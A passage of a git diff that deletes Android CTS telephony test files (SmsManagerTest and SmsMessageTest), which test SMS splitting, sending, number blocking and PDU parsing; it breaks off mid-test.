-        @Override
-        protected void copyFrom(ServiceState s) {
-            super.copyFrom(s);
-        }
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
deleted file mode 100755
index 89814aa..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
+++ /dev/null
@@ -1,512 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
-import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
-
-import android.app.PendingIntent;
-import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.provider.Telephony;
-import android.telephony.SmsMessage;
-import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-import android.test.InstrumentationTestCase;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.io.BufferedReader;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Tests for {@link android.telephony.SmsManager}.
- *
- * Structured so tests can be reused to test {@link android.telephony.gsm.SmsManager}
- */
-public class SmsManagerTest extends InstrumentationTestCase {
-
-    private static final String TAG = "SmsManagerTest";
-    private static final String LONG_TEXT =
-        "This is a very long text. This text should be broken into three " +
-        "separate messages.This is a very long text. This text should be broken into " +
-        "three separate messages.This is a very long text. This text should be broken " +
-        "into three separate messages.This is a very long text. This text should be " +
-        "broken into three separate messages.";;
-    private static final String LONG_TEXT_WITH_32BIT_CHARS =
-        "Long dkkshsh jdjsusj kbsksbdf jfkhcu hhdiwoqiwyrygrvn?*?*!\";:'/,."
-        + "__?9#9292736&4;\"$+$+((]\\[\\℅©℅™^®°¥°¥=¢£}}£∆~¶~÷|√×."
-        + " 😯😆😉😇😂😀👕🎓😀👙🐕🐀🐶🐰🐩⛪⛲ ";
-
-    private static final String SMS_SEND_ACTION = "CTS_SMS_SEND_ACTION";
-    private static final String SMS_DELIVERY_ACTION = "CTS_SMS_DELIVERY_ACTION";
-    private static final String DATA_SMS_RECEIVED_ACTION = "android.intent.action.DATA_SMS_RECEIVED";
-    public static final String SMS_DELIVER_DEFAULT_APP_ACTION = "CTS_SMS_DELIVERY_ACTION_DEFAULT_APP";
-
-    private TelephonyManager mTelephonyManager;
-    private PackageManager mPackageManager;
-    private String mDestAddr;
-    private String mText;
-    private SmsBroadcastReceiver mSendReceiver;
-    private SmsBroadcastReceiver mDeliveryReceiver;
-    private SmsBroadcastReceiver mDataSmsReceiver;
-    private SmsBroadcastReceiver mSmsDeliverReceiver;
-    private SmsBroadcastReceiver mSmsReceivedReceiver;
-    private PendingIntent mSentIntent;
-    private PendingIntent mDeliveredIntent;
-    private Intent mSendIntent;
-    private Intent mDeliveryIntent;
-    private Context mContext;
-    private Uri mBlockedNumberUri;
-    private boolean mTestAppSetAsDefaultSmsApp;
-    private boolean mDeliveryReportSupported;
-    private static boolean mReceivedDataSms;
-    private static String mReceivedText;
-
-    private static final int TIME_OUT = 1000 * 60 * 5;
-    private static final int NO_CALLS_TIMEOUT_MILLIS = 1000; // 1 second
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
-        mTelephonyManager =
-            (TelephonyManager) getInstrumentation().getContext().getSystemService(
-                    Context.TELEPHONY_SERVICE);
-        mPackageManager = mContext.getPackageManager();
-        mDestAddr = mTelephonyManager.getLine1Number();
-        mText = "This is a test message";
-
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            mDeliveryReportSupported = false;
-        } else {
-            // exclude the networks that don't support SMS delivery report
-            String mccmnc = mTelephonyManager.getSimOperator();
-            mDeliveryReportSupported = !(CarrierCapability.NO_DELIVERY_REPORTS.contains(mccmnc));
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mBlockedNumberUri != null) {
-            unblockNumber(mBlockedNumberUri);
-            mBlockedNumberUri = null;
-        }
-        if (mTestAppSetAsDefaultSmsApp) {
-            setDefaultSmsApp(false);
-        }
-    }
-
-    public void testDivideMessage() {
-        ArrayList<String> dividedMessages = divideMessage(LONG_TEXT);
-        assertNotNull(dividedMessages);
-        if (TelephonyUtils.isSkt(mTelephonyManager)) {
-            assertTrue(isComplete(dividedMessages, 5, LONG_TEXT)
-                    || isComplete(dividedMessages, 3, LONG_TEXT));
-        } else if (TelephonyUtils.isKt(mTelephonyManager)) {
-            assertTrue(isComplete(dividedMessages, 4, LONG_TEXT)
-                    || isComplete(dividedMessages, 3, LONG_TEXT));
-        } else {
-            assertTrue(isComplete(dividedMessages, 3, LONG_TEXT));
-        }
-    }
-
-    public void testDivideUnicodeMessage() {
-        ArrayList<String> dividedMessages = divideMessage(LONG_TEXT_WITH_32BIT_CHARS);
-        assertNotNull(dividedMessages);
-        assertTrue(isComplete(dividedMessages, 3, LONG_TEXT_WITH_32BIT_CHARS));
-        for (String messagePiece : dividedMessages) {
-            assertFalse(Character.isHighSurrogate(
-                    messagePiece.charAt(messagePiece.length() - 1)));
-        }
-    }
-
-    private boolean isComplete(List<String> dividedMessages, int numParts, String longText) {
-        if (dividedMessages.size() != numParts) {
-            return false;
-        }
-
-        String actualMessage = "";
-        for (int i = 0; i < numParts; i++) {
-            actualMessage += dividedMessages.get(i);
-        }
-        return longText.equals(actualMessage);
-    }
-
-    public void testSendAndReceiveMessages() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
-                TextUtils.isEmpty(mDestAddr));
-
-        String mccmnc = mTelephonyManager.getSimOperator();
-        setupBroadcastReceivers();
-
-        // send single text sms
-        init();
-        sendTextMessage(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent);
-        assertTrue("[RERUN] Could not send SMS. Check signal.",
-                mSendReceiver.waitForCalls(1, TIME_OUT));
-        if (mDeliveryReportSupported) {
-            assertTrue("[RERUN] SMS message delivery notification not received. Check signal.",
-                    mDeliveryReceiver.waitForCalls(1, TIME_OUT));
-        }
-        // non-default app should receive only SMS_RECEIVED_ACTION
-        assertTrue(mSmsReceivedReceiver.waitForCalls(1, TIME_OUT));
-        assertTrue(mSmsDeliverReceiver.waitForCalls(0, 0));
-
-        // due to permission restrictions, currently there is no way to make this test app the
-        // default SMS app
-
-        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
-            // TODO: temp workaround, OCTET encoding for EMS not properly supported
-            return;
-        }
-
-        // send data sms
-        if (sendDataMessageIfSupported(mccmnc)) {
-            assertTrue("[RERUN] Could not send data SMS. Check signal.",
-                    mSendReceiver.waitForCalls(1, TIME_OUT));
-            if (mDeliveryReportSupported) {
-                assertTrue("[RERUN] Data SMS message delivery notification not received. " +
-                        "Check signal.", mDeliveryReceiver.waitForCalls(1, TIME_OUT));
-            }
-            mDataSmsReceiver.waitForCalls(1, TIME_OUT);
-            assertTrue("[RERUN] Data SMS message not received. Check signal.", mReceivedDataSms);
-            assertEquals(mReceivedText, mText);
-        } else {
-            // This GSM network doesn't support Data(binary) SMS message.
-            // Skip the test.
-        }
-
-        // send multi parts text sms
-        int numPartsSent = sendMultipartTextMessageIfSupported(mccmnc);
-        if (numPartsSent > 0) {
-            assertTrue("[RERUN] Could not send multi part SMS. Check signal.",
-                    mSendReceiver.waitForCalls(numPartsSent, TIME_OUT));
-            if (mDeliveryReportSupported) {
-                assertTrue("[RERUN] Multi part SMS message delivery notification not received. " +
-                        "Check signal.", mDeliveryReceiver.waitForCalls(numPartsSent, TIME_OUT));
-            }
-            // non-default app should receive only SMS_RECEIVED_ACTION
-            assertTrue(mSmsReceivedReceiver.waitForCalls(1, TIME_OUT));
-            assertTrue(mSmsDeliverReceiver.waitForCalls(0, 0));
-        } else {
-            // This GSM network doesn't support Multipart SMS message.
-            // Skip the test.
-        }
-    }
-
-    public void testSmsBlocking() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
-                TextUtils.isEmpty(mDestAddr));
-
-        String mccmnc = mTelephonyManager.getSimOperator();
-        // Setting default SMS App is needed to be able to block numbers.
-        setDefaultSmsApp(true);
-        blockNumber(mDestAddr);
-        setupBroadcastReceivers();
-
-        // single-part SMS blocking
-        init();
-        sendTextMessage(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent);
-        assertTrue("[RERUN] Could not send SMS. Check signal.",
-                mSendReceiver.waitForCalls(1, TIME_OUT));
-        assertTrue("Expected no messages to be received due to number blocking.",
-                mSmsReceivedReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
-        assertTrue("Expected no messages to be delivered due to number blocking.",
-                mSmsDeliverReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
-
-        // send data sms
-        if (!sendDataMessageIfSupported(mccmnc)) {
-            assertTrue("[RERUN] Could not send data SMS. Check signal.",
-                    mSendReceiver.waitForCalls(1, TIME_OUT));
-            if (mDeliveryReportSupported) {
-                assertTrue("[RERUN] Data SMS message delivery notification not received. " +
-                        "Check signal.", mDeliveryReceiver.waitForCalls(1, TIME_OUT));
-            }
-            assertTrue("Expected no messages to be delivered due to number blocking.",
-                    mSmsDeliverReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
-        } else {
-            // This GSM network doesn't support Data(binary) SMS message.
-            // Skip the test.
-        }
-
-        // multi-part SMS blocking
-        int numPartsSent = sendMultipartTextMessageIfSupported(mccmnc);
-        if (numPartsSent > 0) {
-            assertTrue("[RERUN] Could not send multi part SMS. Check signal.",
-                    mSendReceiver.waitForCalls(numPartsSent, TIME_OUT));
-
-            assertTrue("Expected no messages to be received due to number blocking.",
-                    mSmsReceivedReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
-            assertTrue("Expected no messages to be delivered due to number blocking.",
-                    mSmsDeliverReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
-        } else {
-            // This GSM network doesn't support Multipart SMS message.
-            // Skip the test.
-        }
-    }
-
-
-    public void testSmsNotPersisted_failsWithoutCarrierPermissions() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
-                TextUtils.isEmpty(mDestAddr));
-
-        try {
-            getSmsManager().sendTextMessageWithoutPersisting(mDestAddr, null /*scAddress */,
-                    mDestAddr, mSentIntent, mDeliveredIntent);
-            fail("We should get a SecurityException due to not having carrier privileges");
-        } catch (SecurityException e) {
-            // Success
-        }
-    }
-
-    private void init() {
-        mSendReceiver.reset();
-        mDeliveryReceiver.reset();
-        mDataSmsReceiver.reset();
-        mSmsDeliverReceiver.reset();
-        mSmsReceivedReceiver.reset();
-        mReceivedDataSms = false;
-        mSentIntent = PendingIntent.getBroadcast(mContext, 0, mSendIntent,
-                PendingIntent.FLAG_ONE_SHOT);
-        mDeliveredIntent = PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent,
-                PendingIntent.FLAG_ONE_SHOT);
-    }
-
-    private void setupBroadcastReceivers() {
-        mSendIntent = new Intent(SMS_SEND_ACTION);
-        mDeliveryIntent = new Intent(SMS_DELIVERY_ACTION);
-
-        IntentFilter sendIntentFilter = new IntentFilter(SMS_SEND_ACTION);
-        IntentFilter deliveryIntentFilter = new IntentFilter(SMS_DELIVERY_ACTION);
-        IntentFilter dataSmsReceivedIntentFilter = new IntentFilter(DATA_SMS_RECEIVED_ACTION);
-        IntentFilter smsDeliverIntentFilter = new IntentFilter(SMS_DELIVER_DEFAULT_APP_ACTION);
-        IntentFilter smsReceivedIntentFilter =
-                new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION);
-        dataSmsReceivedIntentFilter.addDataScheme("sms");
-        dataSmsReceivedIntentFilter.addDataAuthority("localhost", "19989");
-
-        mSendReceiver = new SmsBroadcastReceiver(SMS_SEND_ACTION);
-        mDeliveryReceiver = new SmsBroadcastReceiver(SMS_DELIVERY_ACTION);
-        mDataSmsReceiver = new SmsBroadcastReceiver(DATA_SMS_RECEIVED_ACTION);
-        mSmsDeliverReceiver = new SmsBroadcastReceiver(SMS_DELIVER_DEFAULT_APP_ACTION);
-        mSmsReceivedReceiver = new SmsBroadcastReceiver(Telephony.Sms.Intents.SMS_RECEIVED_ACTION);
-
-        mContext.registerReceiver(mSendReceiver, sendIntentFilter);
-        mContext.registerReceiver(mDeliveryReceiver, deliveryIntentFilter);
-        mContext.registerReceiver(mDataSmsReceiver, dataSmsReceivedIntentFilter);
-        mContext.registerReceiver(mSmsDeliverReceiver, smsDeliverIntentFilter);
-        mContext.registerReceiver(mSmsReceivedReceiver, smsReceivedIntentFilter);
-    }
-
-    /**
-     * Returns the number of parts sent in the message. If Multi-part SMS is not supported,
-     * returns 0.
-     */
-    private int sendMultipartTextMessageIfSupported(String mccmnc) {
-        int numPartsSent = 0;
-        if (!CarrierCapability.UNSUPPORT_MULTIPART_SMS_MESSAGES.contains(mccmnc)) {
-            init();
-            ArrayList<String> parts = divideMessage(LONG_TEXT);
-            numPartsSent = parts.size();
-            ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
-            ArrayList<PendingIntent> deliveryIntents = new ArrayList<PendingIntent>();
-            for (int i = 0; i < numPartsSent; i++) {
-                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, 0));
-                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, 0));
-            }
-            sendMultiPartTextMessage(mDestAddr, parts, sentIntents, deliveryIntents);
-        }
-        return numPartsSent;
-    }
-
-    private boolean sendDataMessageIfSupported(String mccmnc) {
-        if (!CarrierCapability.UNSUPPORT_DATA_SMS_MESSAGES.contains(mccmnc)) {
-            byte[] data = mText.getBytes();
-            short port = 19989;
-
-            init();
-            sendDataMessage(mDestAddr, port, data, mSentIntent, mDeliveredIntent);
-            return true;
-        }
-        return false;
-    }
-
-    public void testGetDefault() {
-        assertNotNull(getSmsManager());
-    }
-
-    protected ArrayList<String> divideMessage(String text) {
-        return getSmsManager().divideMessage(text);
-    }
-
-    private android.telephony.SmsManager getSmsManager() {
-        return android.telephony.SmsManager.getDefault();
-    }
-
-    protected void sendMultiPartTextMessage(String destAddr, ArrayList<String> parts,
-            ArrayList<PendingIntent> sentIntents, ArrayList<PendingIntent> deliveryIntents) {
-        getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, deliveryIntents);
-    }
-
-    protected void sendDataMessage(String destAddr,short port, byte[] data, PendingIntent sentIntent, PendingIntent deliveredIntent) {
-        getSmsManager().sendDataMessage(destAddr, null, port, data, sentIntent, deliveredIntent);
-    }
-
-    protected void sendTextMessage(String destAddr, String text, PendingIntent sentIntent, PendingIntent deliveredIntent) {
-        getSmsManager().sendTextMessage(destAddr, null, text, sentIntent, deliveredIntent);
-    }
-
-    private void blockNumber(String number) {
-        mBlockedNumberUri = insertBlockedNumber(mContext, number);
-    }
-
-    private void unblockNumber(Uri uri) {
-        deleteBlockedNumber(mContext, uri);
-    }
-
-    private void setDefaultSmsApp(boolean setToSmsApp)
-            throws Exception {
-        String command = String.format(
-                "appops set --user 0 %s WRITE_SMS %s",
-                mContext.getPackageName(),
-                setToSmsApp ? "allow" : "default");
-        assertTrue("Setting default SMS app failed : " + setToSmsApp,
-                executeShellCommand(command).isEmpty());
-        mTestAppSetAsDefaultSmsApp = setToSmsApp;
-    }
-
-    private String executeShellCommand(String command)
-            throws IOException {
-        ParcelFileDescriptor pfd =
-                getInstrumentation().getUiAutomation().executeShellCommand(command);
-        BufferedReader br = null;
-        try (InputStream in = new FileInputStream(pfd.getFileDescriptor());) {
-            br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
-            String str;
-            StringBuilder out = new StringBuilder();
-            while ((str = br.readLine()) != null) {
-                out.append(str);
-            }
-            return out.toString();
-        } finally {
-            if (br != null) {
-                br.close();
-            }
-        }
-    }
-
-    private static class SmsBroadcastReceiver extends BroadcastReceiver {
-        private int mCalls;
-        private int mExpectedCalls;
-        private String mAction;
-        private Object mLock;
-
-        SmsBroadcastReceiver(String action) {
-            mAction = action;
-            reset();
-            mLock = new Object();
-        }
-
-        void reset() {
-            mExpectedCalls = Integer.MAX_VALUE;
-            mCalls = 0;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if(mAction.equals(DATA_SMS_RECEIVED_ACTION)){
-                StringBuilder sb = new StringBuilder();
-                Bundle bundle = intent.getExtras();
-                if (bundle != null) {
-                    Object[] obj = (Object[]) bundle.get("pdus");
-                    String format = bundle.getString("format");
-                    SmsMessage[] message = new SmsMessage[obj.length];
-                    for (int i = 0; i < obj.length; i++) {
-                        message[i] = SmsMessage.createFromPdu((byte[]) obj[i], format);
-                    }
-
-                    for (SmsMessage currentMessage : message) {
-                        byte[] binaryContent = currentMessage.getUserData();
-                        String readableContent = new String(binaryContent);
-                        sb.append(readableContent);
-                    }
-                }
-                mReceivedDataSms = true;
-                mReceivedText=sb.toString();
-            }
-            Log.i(TAG, "onReceive " + intent.getAction());
-            if (intent.getAction().equals(mAction)) {
-                synchronized (mLock) {
-                    mCalls += 1;
-                    mLock.notify();
-                }
-            }
-        }
-
-        private boolean verifyNoCalls(long timeout) throws InterruptedException {
-            synchronized(mLock) {
-                mLock.wait(timeout);
-                return mCalls == 0;
-            }
-        }
-
-        public boolean waitForCalls(int expectedCalls, long timeout) throws InterruptedException {
-            synchronized(mLock) {
-                mExpectedCalls = expectedCalls;
-                long startTime = SystemClock.elapsedRealtime();
-
-                while (mCalls < mExpectedCalls) {
-                    long waitTime = timeout - (SystemClock.elapsedRealtime() - startTime);
-                    if (waitTime > 0) {
-                        mLock.wait(waitTime);
-                    } else {
-                        return false;  // timed out
-                    }
-                }
-                return true;  // success
-            }
-        }
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java
deleted file mode 100644
index e247775..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java
+++ /dev/null
@@ -1,368 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.telephony.SmsMessage;
-import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-
-public class SmsMessageTest extends AndroidTestCase{
-
-    private TelephonyManager mTelephonyManager;
-    private PackageManager mPackageManager;
-
-    private static final String DISPLAY_MESSAGE_BODY = "test subject /test body";
-    private static final String DMB = "{ testBody[^~\\] }";
-    private static final String EMAIL_ADD = "foo@example.com";
-    private static final String EMAIL_FROM = "foo@example.com";
-    private static final String MB = DMB;
-    private static final String MESSAGE_BODY1 = "Test";
-    private static final String MESSAGE_BODY2 = "(Subject)Test";
-    private static final String MESSAGE_BODY3 = "\u2122\u00a9\u00aehello";
-    private static final String MESSAGE_BODY4 = " ";
-    private static final String MESSAGE_BODY5 = " ";
-    private static final String OA = "foo@example.com";
-    private static final String OA1 = "+14154255486";
-    private static final String OA2 = "+15122977683";
-    private static final String OA3 = "_@";
-    private static final String OA4 = "\u0394@";
-    // pseudo subject will always be empty
-    private static final String PSEUDO_SUBJECT = "";
-    private static final String SCA1 = "+16466220020";
-    private static final String SCA2 = "+12063130012";
-    private static final String SCA3 = "+14155551212";
-    private static final String SCA4 = "+14155551212";
-    private static final int NOT_CREATE_FROM_SIM = -1;
-    private static final int NOT_CREATE_FROM_ICC = -1;
-    private static final int PROTOCOL_IDENTIFIER = 0;
-    private static final int SMS_NUMBER1 = 1;
-    private static final int SMS_NUMBER2 = 1;
-    private static final int SMS_NUMBER3 = 1;
-    private static final int STATUS = 0;
-    private static final int STATUS_ON_SIM_DEF = -1;
-    private static final int STATUS_ON_ICC_DEF = -1;
-    private static final int TPLAYER_LENGTH_FOR_PDU = 23;
-    private static final long TIMESTAMP_MILLIS = 1149631383000l;
-    private static final int SEPTETS_SKT = 80;
-    private static final int SEPTETS_KT = 90;
-    private static final String LONG_TEXT_WITH_32BIT_CHARS =
-        "Long dkkshsh jdjsusj kbsksbdf jfkhcu hhdiwoqiwyrygrvn?*?*!\";:'/,."
-        + "__?9#9292736&4;\"$+$+((]\\[\\℅©℅™^®°¥°¥=¢£}}£∆~¶~÷|√×."
-        + " 😯😆😉😇😂😀👕🎓😀👙🐕🐀🐶🐰🐩⛪⛲ ";
-    private static final String LONG_TEXT_WITH_FLAGS =
-        "🇦🇫🇦🇽🇦🇱🇩🇿🇦🇸🇦🇩🇦🇴🇦🇮🇦🇶🇦🇬🇦🇷🇦🇲🇦🇼🇦🇨"
-        + "🇦🇺🇦🇹🇦🇿🇧🇸🇧🇭🇧🇩🇧🇧🇧🇾🇧🇪🇧🇿🇧🇯🇧🇲🇧🇹🇧🇴🇧🇦";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTelephonyManager =
-            (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
-        mPackageManager = getContext().getPackageManager();
-    }
-
-    public void testCreateFromPdu() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
-                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_CDMA)) {
-            // TODO: temp workaround, need to adjust test to use CDMA pdus
-            return;
-        }
-
-        String pdu = "07916164260220F0040B914151245584F600006060605130308A04D4F29C0E";
-        SmsMessage sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu),
-                SmsMessage.FORMAT_3GPP);
-        assertEquals(SCA1, sms.getServiceCenterAddress());
-        assertEquals(OA1, sms.getOriginatingAddress());
-        assertEquals(MESSAGE_BODY1, sms.getMessageBody());
-        assertEquals(TPLAYER_LENGTH_FOR_PDU, SmsMessage.getTPLayerLengthForPDU(pdu));
-        int[] result = SmsMessage.calculateLength(sms.getMessageBody(), true);
-        assertEquals(SMS_NUMBER1, result[0]);
-        assertEquals(sms.getMessageBody().length(), result[1]);
-        assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
-        assertEquals(SmsMessage.ENCODING_7BIT, result[3]);
-        assertEquals(pdu, toHexString(sms.getPdu()));
-
-        assertEquals(NOT_CREATE_FROM_SIM, sms.getIndexOnSim());
-        assertEquals(NOT_CREATE_FROM_ICC, sms.getIndexOnIcc());
-        assertEquals(PROTOCOL_IDENTIFIER, sms.getProtocolIdentifier());
-        assertFalse(sms.isEmail());
-        assertFalse(sms.isReplyPathPresent());
-        assertFalse(sms.isStatusReportMessage());
-        assertFalse(sms.isCphsMwiMessage());
-        assertEquals(SmsMessage.MessageClass.UNKNOWN, sms.getMessageClass());
-        assertEquals(STATUS, sms.getStatus());
-        assertEquals(STATUS_ON_SIM_DEF, sms.getStatusOnSim());
-        assertEquals(STATUS_ON_ICC_DEF, sms.getStatusOnIcc());
-        assertEquals(TIMESTAMP_MILLIS, sms.getTimestampMillis());
-
-        // Test create from null Pdu
-        sms = SmsMessage.createFromPdu(null, SmsMessage.FORMAT_3GPP);
-        assertNull(sms);
-
-        // Test create from long Pdu
-        pdu = "07912160130310F2040B915121927786F300036060924180008A0DA"
-            + "8695DAC2E8FE9296A794E07";
-        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
-        assertEquals(SCA2, sms.getServiceCenterAddress());
-        assertEquals(OA2, sms.getOriginatingAddress());
-        assertEquals(MESSAGE_BODY2, sms.getMessageBody());
-        CharSequence msgBody = sms.getMessageBody();
-        result = SmsMessage.calculateLength(msgBody, false);
-        assertEquals(SMS_NUMBER2, result[0]);
-        assertEquals(sms.getMessageBody().length(), result[1]);
-        assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
-        assertEquals(SmsMessage.ENCODING_7BIT, result[3]);
-
-        // Test createFromPdu Ucs to Sms
-        pdu = "07912160130300F4040B914151245584"
-            + "F600087010807121352B10212200A900AE00680065006C006C006F";
-        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
-        assertEquals(MESSAGE_BODY3, sms.getMessageBody());
-        result = SmsMessage.calculateLength(sms.getMessageBody(), true);
-        assertEquals(SMS_NUMBER3, result[0]);
-        assertEquals(sms.getMessageBody().length(), result[1]);
-        assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
-        assertEquals(SmsMessage.ENCODING_7BIT, result[3]);
-    }
-
-    private void assertRemaining(int messageLength, int remaining, int maxChars) {
-        if (TelephonyUtils.isSkt(mTelephonyManager)) {
-            assertTrue(checkRemaining(SEPTETS_SKT, messageLength, remaining)
-                    || checkRemaining(maxChars, messageLength, remaining));
-        } else if (TelephonyUtils.isKt(mTelephonyManager)) {
-            assertTrue(checkRemaining(SEPTETS_KT, messageLength, remaining)
-                    || checkRemaining(maxChars, messageLength, remaining));
-        } else {
-            assertTrue(checkRemaining(maxChars, messageLength, remaining));
-        }
-    }
-
-    private boolean checkRemaining(int total, int messageLength, int remaining) {
-        return total - messageLength == remaining;
-    }
-
-    public void testCPHSVoiceMail() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
-                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_CDMA)) {
-            // TODO: temp workaround, need to adjust test to use CDMA pdus
-            return;
-        }
-
-        // "set MWI flag"
-        String pdu = "07912160130310F20404D0110041006060627171118A0120";
-        SmsMessage sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu),
-                SmsMessage.FORMAT_3GPP);
-        assertTrue(sms.isReplace());
-        assertEquals(OA3, sms.getOriginatingAddress());
-        assertEquals(MESSAGE_BODY4, sms.getMessageBody());
-        assertTrue(sms.isMWISetMessage());
-
-        // "clear mwi flag"
-        pdu = "07912160130310F20404D0100041006021924193352B0120";
-        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
-        assertTrue(sms.isMWIClearMessage());
-
-        // "clear MWI flag"
-        pdu = "07912160130310F20404D0100041006060627161058A0120";
-        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
-        assertTrue(sms.isReplace());
-        assertEquals(OA4, sms.getOriginatingAddress());
-        assertEquals(MESSAGE_BODY5, sms.getMessageBody());
-        assertTrue(sms.isMWIClearMessage());
-
-        // "set MWI flag"
-        pdu = "07912180958750F84401800500C87020026195702B06040102000200";
-        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
-        assertTrue(sms.isMWISetMessage());
-        assertTrue(sms.isMwiDontStore());
-
-        // "clear mwi flag"
-        pdu = "07912180958750F84401800500C07020027160112B06040102000000";
-        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
-
-        assertTrue(sms.isMWIClearMessage());
-        assertTrue(sms.isMwiDontStore());
-    }
-
-    public void testGetUserData() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
-                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_CDMA)) {
-            // TODO: temp workaround, need to adjust test to use CDMA pdus
-            return;
-        }
-
-        String pdu = "07914140279510F6440A8111110301003BF56080207130138A8C0B05040B8423F"
-            + "000032A02010106276170706C69636174696F6E2F766E642E7761702E6D6D732D"
-            + "6D65737361676500AF848D0185B4848C8298524E453955304A6D7135514141426"
-            + "66C414141414D7741414236514141414141008D908918802B3135313232393737"
-            + "3638332F545950453D504C4D4E008A808E022B918805810306977F83687474703"
-            + "A2F2F36";
-        SmsMessage sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu),
-                SmsMessage.FORMAT_3GPP);
-        byte[] userData = sms.getUserData();
-        assertNotNull(userData);
-    }
-
-    public void testGetSubmitPdu() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        String scAddress = null, destinationAddress = null;
-        String message = null;
-        boolean statusReportRequested = false;
-
-        try {
-            // null message, null destination
